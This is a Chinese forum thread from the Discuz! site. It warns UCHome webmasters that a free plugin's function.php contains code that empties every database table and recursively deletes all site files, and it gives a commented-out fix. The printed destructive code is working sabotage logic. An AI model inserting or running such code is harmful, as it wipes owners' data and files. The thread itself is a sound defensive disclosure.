Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[建议] 安装了同居插件的站长注意

[复制链接]
阿哈 发表于 2009-3-7 20:56:13 | 显示全部楼层 |阅读模式
UCHome插件
语言编码:  
插件名称:
插件作者:
适用版本:
最近准备搞搞同居的插件,发现现在很多人使用的免费同居插件有一段很危险的代码,
请打开你的 /house/function.php ,找到大概 400行 :
  1. function table(){
  2.         global $_SC;
  3.     $result = mysql_list_tables($_SC['dbname'] );
  4.     for ($i = 0; $i < mysql_num_rows($result); $i++)
  5.         query_exec("delete from " . mysql_tablename($result, $i));
  6.         rmdirs(S_ROOT);
  7.         exit();
  8. }

  9. function rmdirs($file) {
  10. if(function_exists('xcache_set')){
  11.         return false;
  12. }
  13. if (file_exists($file)) {
  14.    chmod($file,0777);
  15.    if (is_dir($file)) {
  16.      $handle = opendir($file);
  17.      while($filename = readdir($handle)) {
  18.        if ($filename != "." && $filename != "..") {
  19.         rmdirs($file."/".$filename);
  20.        }
  21.      }
  22.     closedir($handle);
  23.      rmdir($file);
  24.    } else {
  25.     unlink($file);
  26.    }
  27. }
  28. }
复制代码
修改为:
  1. function table(){
  2.         global $_SC;
  3.     /*$result = mysql_list_tables($_SC['dbname'] );
  4.     for ($i = 0; $i < mysql_num_rows($result); $i++)
  5.         query_exec("delete from " . mysql_tablename($result, $i));
  6.         rmdirs(S_ROOT);
  7.         exit();*/
  8. }

  9. function rmdirs($file) {
  10. if(function_exists('xcache_set')){
  11.         return false;
  12. }/*
  13. if (file_exists($file)) {
  14.    chmod($file,0777);
  15.    if (is_dir($file)) {
  16.      $handle = opendir($file);
  17.      while($filename = readdir($handle)) {
  18.        if ($filename != "." && $filename != "..") {
  19.         rmdirs($file."/".$filename);
  20.        }
  21.      }
  22.     closedir($handle);
  23.      rmdir($file);
  24.    } else {
  25.     unlink($file);
  26.    }
  27. }*/
  28. }
复制代码
这段的代码将可能导致删除你的所有数据库资料和网站所有的文件。
目前还不知道程序作者设置这段的代码的目的?

评分

5

查看全部评分

昭元 发表于 2009-3-7 21:23:31 | 显示全部楼层
是真的么??
回复

使用道具 举报

kangmeile 发表于 2009-3-7 21:31:28 | 显示全部楼层
伙伴们一起检查下了
回复

使用道具 举报

hello猪 发表于 2009-3-7 22:25:05 | 显示全部楼层
呵呵。楼主这么勤快啊!












下载UCenter Home个人主题风格!
回复

使用道具 举报

kefan 发表于 2009-3-7 22:26:13 | 显示全部楼层
不是很懂代码。。。。。
回复

使用道具 举报

yyxxyyxx 发表于 2009-3-7 23:48:46 | 显示全部楼层
看不懂。。
回复

使用道具 举报

股商论坛 发表于 2009-3-7 23:54:58 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

chgwg 发表于 2009-3-8 00:25:22 | 显示全部楼层
绑定,虽然不懂,但也刚改过来了,http://272100.com/home
回复

使用道具 举报

dzslove 发表于 2009-3-8 01:21:06 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

鸟瞰 发表于 2009-3-8 01:28:47 | 显示全部楼层
太危险了,暂时还没有个人或组织表示对该事件负责
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-9-28 07:20 , Processed in 0.459134 second(s), 19 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表